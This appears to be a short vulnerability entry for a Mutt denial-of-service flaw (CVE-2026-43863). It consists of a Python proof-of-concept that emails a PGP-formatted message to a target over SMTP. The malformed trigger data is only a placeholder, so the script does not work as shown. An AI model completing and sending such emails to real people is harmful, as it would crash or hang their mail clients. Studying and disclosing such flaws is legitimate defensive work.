CVE-2026-43863 Mutt 无限循环拒绝服务漏洞

import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText # PoC for CVE-2026-43863 # This script demonstrates sending a malformed email that triggers the infinite loop. # Adjust the payload based on specific GPG structure analysis. def send_trigger(target_email, smtp_server): msg = MIMEMultipart() msg['Subject'] = 'CVE-2026-43863 Trigger' msg['From'] = 'attacker@local' msg['To'] = target_email # Malformed PGP data structure intended to hit data_object_to_stream # Specific byte sequence required to trigger the condition in crypt-gpgme.c payload = """-----BEGIN PGP MESSAGE----- Version: GnuPG v1 [Malformed Stream Data] -----END PGP MESSAGE-----""" msg.attach(MIMEText(payload, _subtype='plain')) with smtplib.SMTP(smtp_server) as server: server.send_message(msg) # send_trigger('[email protected]', 'localhost')